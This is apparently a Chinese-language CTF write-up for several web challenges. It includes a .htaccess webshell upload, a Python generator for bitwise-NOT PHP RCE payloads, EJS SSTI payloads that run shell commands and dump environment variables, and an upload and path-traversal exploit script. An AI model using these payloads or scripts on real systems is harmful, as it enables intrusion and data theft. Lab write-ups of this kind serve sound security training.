EasyPHP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
  highlight_file(__FILE__);
include "fl4g.php";  // 包含flag文件
$dest0g3 = $_POST['ctf'];
$time = date("H");   // 当前小时 (00-23)
$timme = date("d");  // 当前日期 (01-31)
$timmme = date("i"); // 当前分钟 (00-59)

// 条件判断 - 看似永远为假
if(($time > "24") or ($timme > "31") or ($timmme > "60")){
  echo $fl4g;  // 正常情况下无法触发
}else{
  echo "Try harder!";
}

// 设置错误处理器 - 关键点！
set_error_handler(
  function() use(&$fl4g) {
    print $fl4g;
  }
);
$fl4g .= $dest0g3;  // 拼接用户输入
?>

通过发送一个会触发PHP错误（如类型错误）的请求，利用set_error_handler中定义的错误处理函数输出flag：

1
ctf[]=1

Give me your photo PLZ

打hta图片码

先上传.htaccess配置文件

1
2
AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=1.jpg"

然后上传1.jpg，上传之后用蚁剑连

actuator-env

然后得到提示flag在env里，看一下

actuator-env

actuator-env

hardrce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
    $wllm = $_GET['wllm'];
    $blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
    foreach ($blacklist as $blackitem)
    {
        if (preg_match('/' . $blackitem . '/m', $wllm)) {
        die("LTLT说不能用这些奇奇怪怪的符号哦！");
    }}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
    die("Ra's Al Ghul说不能用字母哦！");
}
echo "NoVic4说：不错哦小伙子，可你能拿到flag吗？";
eval($wllm);
}
else
{
    echo "蔡总说：注意审题！！！";
}
?>

一看就是上脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import re

def generate_neg_payload(s):
    payload = []
    for c in s:
        neg = (~ord(c)) & 0xFF  # 取反并转换为无符号字节
        payload.append(f"%{neg:02X}")
    return ''.join(payload)

def parse_command(cmd):
    # 匹配 function('argument') 格式
    pattern = r'^\s*?(\w+?)\s*?\(\s*?[\'"](.*?)[\'"]\s*?\)\s*?;?'
    match = re.match(pattern, cmd)
    if not match:
        raise ValueError("命令格式错误！请使用 function('argument') 格式")
    return match.group(1), match.group(2)

def main():
    cmd = input("请输入PHP命令（示例：system('ls /')：").strip()
    try:
        func, arg = parse_command(cmd)
        
        # 生成函数名和参数的取反payload
        func_neg = generate_neg_payload(func)
        arg_neg = generate_neg_payload(arg)
        
        payload = f"(~{func_neg})(~{arg_neg});"
        
        print("\n生成的取反Payload：")
        print(payload)
        print("\n使用说明：")
        print("1. 需要目标环境开启短标签支持")
        print("2. 确保PHP版本支持这种调用方式")
        print("3. 实际使用时可能需要URL编码整个payload")
        print("4. 示例最终形式：?code=~%8C%86%8C%8B%9A%92~%93%8C%DF%D0")
        
    except Exception as e:
        print(f"错误：{str(e)}")

if __name__ == "__main__":
    main()

运行脚本，依次输入

1
2
system('ls /')
system('cat /flllllaaaaaaggggggg')

actuator-env

小绿草之最强大脑

拿dirsearch扫一下。扫到了一个备份文件。

actuator-env

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
  if(isset($_SESSION['ans']) && isset($_POST['ans'])){
  if(($_SESSION['ans'])+intval($_POST['input'])!=$_POST['ans']){
  session_destroy();
echo '
		<script language="javascript">  
		alert("怎么没算对呢？");  
		window.history.back(-1);  </script>';
}
else{
  if(intval(time())-$_SESSION['time']<1){
    session_destroy();
    echo '
			<script language="javascript">  
			alert("你手速太快啦，服务器承受不住!!!");  
			window.history.back(-1); </script> ';
  }
  if(intval(time())-$_SESSION['time']>2){
    session_destroy();
    echo '
			<script language="javascript">  
			alert("你算的太慢了少年！");  
			window.history.back(-1); </script> ';
  }
  echo '
		<script language="javascript">  
		alert("tql，算对了！！");  
	     </script> ';
  $_SESSION['count']++;
}
}
?>

1、通过POST把我们输入的传参进去。抓包可以发现，大于21位的是input，答案是ans。

2、input 的变量经过了 php 的intval处理

3、每次脚本发起请求的间隔要在 1-2 秒之间

exp：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests
import time

url = 'http://node4.anna.nssctf.cn:28805'
res = requests.session()      #创建session对象，用来保存当前会话的持续有效性。不创建也可以调用对应的方法发送请求，但是没有cookie，那就无法记录答题数量。
response = res.get(url)   #发get包，获取题目
time.sleep(1)  # 睡一秒

for i in range(1, 99):
    math = ""



    resTest = response.text            #获取返回包的内容
    for j in range(0, len(resTest)): #遍历获取网页数学表达式，这里建议用正则表达式（re）
        if resTest[j - 1] == ">" and resTest[j + 1] == "<" and resTest[j]!= "\n":
            math = math + resTest[j]

    # strip() 方法用于移除字符串头尾指定的字符（默认为空格或换行符）或字符序列
    math = math.strip('=')      #去掉末尾等号
    math = math.strip('+')  # 去掉开头加号
    num = eval(math)       #计算数学表达式的值
    num += 9223372036854775807

    myData = {   #构造的POST数据
        'ans': num,
        'input': "99999999999999999999999999999999999999999999999999999999999999999999999"
    }

    response = res.post(url, data=myData) #发post包，提交答案,并且获取返回包，获取下一个计算式
    print(response.text)          #打印当前返回包的内容
    time.sleep(1)  # 睡一秒

    if "ctf{" in response.text:       #如果返回包里面有flag
        print("Flaggggggggg: ", response.text)
        exit() # 退出当前程序，也可以break

BandBomb------文件上传 + 路径穿越 + SSTI

附件给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
// 引入需要的模块
const express = require('express');  // Express框架，用于创建Web服务器
const multer = require('multer');    // Multer中间件，用于处理文件上传
const fs = require('fs');            // 文件系统模块，用于操作文件和目录
const path = require('path');        // 路径模块，用于处理文件路径

const app = express();  // 创建Express应用实例

// 设置模板引擎为EJS（Embedded JavaScript，用于动态生成HTML页面）
app.set('view engine', 'ejs');

// 设置静态文件目录：访问 /static/xxx 时会返回 public 目录下的文件
app.use('/static', express.static(path.join(__dirname, 'public')));
// 解析JSON格式的请求体（用于处理POST请求中的数据）
app.use(express.json());

// 配置文件存储方式
const storage = multer.diskStorage({
  // 设置文件保存的目录
  destination: (req, file, cb) => {
    const uploadDir = 'uploads';  // 上传目录名
    // 如果目录不存在，则创建它
    if (!fs.existsSync(uploadDir)) {
      fs.mkdirSync(uploadDir);
    }
    cb(null, uploadDir);  // 告诉multer使用这个目录
  },
  // 设置文件名（使用原始文件名）
  filename: (req, file, cb) => {
    cb(null, file.originalname);  // 警告：这会覆盖同名文件！
  }
});

// 配置multer中间件
const upload = multer({ 
  storage: storage,  // 使用上面定义的存储配置
  // 文件过滤器：决定哪些文件可以上传
  fileFilter: (_, file, cb) => {
    try {
      if (!file.originalname) {  // 如果没有文件名
        return cb(new Error('无效的文件名'), false);  // 拒绝上传
      }
      cb(null, true);  // 接受文件
    } catch (err) {
      cb(new Error('文件处理错误'), false);  // 出错时拒绝
    }
  }
});

// 处理首页请求
app.get('/', (req, res) => {
  const uploadsDir = path.join(__dirname, 'uploads');  // uploads目录的完整路径

  // 确保uploads目录存在
  if (!fs.existsSync(uploadsDir)) {
    fs.mkdirSync(uploadsDir);
  }

  // 读取uploads目录中的所有文件
  fs.readdir(uploadsDir, (err, files) => {
    if (err) {
      // 如果读取失败，返回500错误并渲染页面（文件列表为空）
      return res.status(500).render('mortis', { files: [] });
    }
    // 渲染 mortis.ejs 模板，并传入文件列表
    res.render('mortis', { files: files });
  });
});

// 处理文件上传请求
app.post('/upload', (req, res) => {
  // 使用multer处理单个文件上传（表单字段名为'file'）
  upload.single('file')(req, res, (err) => {
    if (err) {
      // multer返回的错误
      return res.status(400).json({ error: err.message });
    }
    if (!req.file) {
      // 没有选择文件
      return res.status(400).json({ error: '没有选择文件' });
    }
    // 上传成功
    res.json({ 
      message: '文件上传成功',
      filename: req.file.filename 
    });
  });
});

// 处理文件重命名请求
app.post('/rename', (req, res) => {
  const { oldName, newName } = req.body;  // 从请求体中获取旧文件名和新文件名
  const oldPath = path.join(__dirname, 'uploads', oldName);  // 旧文件的完整路径
  const newPath = path.join(__dirname, 'uploads', newName);  // 新文件的完整路径

  // 验证文件名是否提供
  if (!oldName || !newName) {
    return res.status(400).json({ error: ' ' });  // 错误信息为空（原代码不完整）
  }

  // 重命名/移动文件
  fs.rename(oldPath, newPath, (err) => {
    if (err) {
      return res.status(500).json({ error: ' ' + err.message });  // 错误信息不完整
    }
    res.json({ message: ' ' });  // 成功信息为空（原代码不完整）
  });
});

// 问题：port变量未定义！需要添加这行：
// const port = 3000;
app.listen(port, () => {
  console.log(`服务器运行在 http://localhost:${port}`);
});

审计

路径遍历（Path Traversal）- 最危险

文件名直接使用 file.originalname，没有过滤 ../ 等路径穿越字符：

javascript

1
2
3
4
// 问题代码
filename: (req, file, cb) => {
    cb(null, file.originalname);  // 直接使用原始文件名
}

攻击方式：

  • 上传文件名为 ../../../etc/passwd 可能覆盖系统文件
  • 上传文件名为 ../../app.js 覆盖源代码
  • 在重命名接口也可以利用：oldName: "../../../flag", newName: "flag"

任意文件读写（通过重命名功能）

/rename 接口没有限制只能重命名 uploads 目录内的文件：

javascript

1
2
3
const oldPath = path.join(__dirname, 'uploads', oldName);
const newPath = path.join(__dirname, 'uploads', newName);
// 如果 oldName 是 ../../../flag.txt，可能读取任意文件

虽然限制了目录，但配合路径穿越可以突破。

SSTI 注入恶意代码

恶意的 mortis.ejs 模板内容：

ejs

1
2
3
4
5
6
7
8
<!-- 利用 EJS 模板注入 -->
<%= global.process.mainModule.require('child_process').execSync('cat /flag') %>

<!-- 或者更隐蔽的 RCE -->
<% var x = global.process.mainModule.require('child_process').execSync('whoami'); console.log(x) %>

<!-- 其他 SSTI payload -->
<%- JSON.stringify(global.process.env) %>

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
import requests
import time

TARGET = "http://forward.vidar.club:31523"

# 1. 上传恶意模板文件
malicious_file = {
    "file": ("exploit.ejs", "<%= process.env.FLAG || fs.readFileSync('/flag') %>")
}

print("[*] 上传恶意模板...")
upload_res = requests.post(f"{TARGET}/upload", files=malicious_file)
if upload_res.json().get("message") != "文件上传成功":
    print("[-] 上传失败:", upload_res.text)
    exit()

print("[+] 上传成功，文件名:", upload_res.json()["filename"])

# 2. 重命名为模板路径（路径穿越）
print("[*] 执行路径穿越重命名...")
rename_data = {
    "oldName": "exploit.ejs",
    "newName": "../views/mortis.ejs"  # 覆盖模板文件
}
rename_res = requests.post(f"{TARGET}/rename", json=rename_data)
if rename_res.status_code != 200:
    print("[-] 重命名失败:", rename_res.text)
    exit()

print("[+] 模板覆盖成功")

# 3. 触发模板渲染获取flag
print("[*] 触发模板渲染...")
time.sleep(1)  # 等待服务器加载新模板
flag_res = requests.get(TARGET)

# 提取flag（根据实际响应结构调整）
if "hgame{" in flag_res.text:
    start = flag_res.text.index("hgame{")
    end = flag_res.text.index("}", start) + 1
    flag = flag_res.text[start:end]
    print(f"[+] Flag获取成功: {flag}")
else:
    print("[!] 在响应中未找到flag，请手动检查:")
    print(flag_res.text)

不会，借的脚本

actuator-env

jawt that down!

dirsearch扫到/js/login.js

访问/js/login.js看一下，搜索得到用户名和密码

1
2
AzureDiamond
hunter2

看下Cookie

actuator-env

这个JSON对象表示一个用户的身份验证信息，包含以下参数：

username：表示用户名，这里是 “AzureDiamond”。

token：表示令牌（token），这里是 “5086a09b2dc4f4bfd9295f942428c63b”。令牌通常用于身份验证和授权，可以用于标识用户或应用程序的身份。

iat：表示令牌的发行时间（issued at），这里是 1704255578。它是一个UNIX时间戳，表示令牌生成的时间，以秒为单位。

exp：表示令牌的过期时间（expiration time），这里是 1704255580。它也是一个UNIX时间戳，表示令牌的有效时间截至的时间点，以秒为单位。

说明令牌有效时间只有两秒，我们可以尝试写脚本来实现绕过令牌过期

exp：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests

sess = requests.session()
URL = 'http://node5.anna.nssctf.cn:26735'
flag = '/N/'
while True:
    data = {"username":"AzureDiamond","password":"hunter2"}
    r = sess.post(URL+'/login',data=data)
    print(flag)
    r1 = sess.get(f'{URL}{flag}')
    flag += r1.text + '/'
    if '}' in flag:
        break
print(flag.replace('/',''))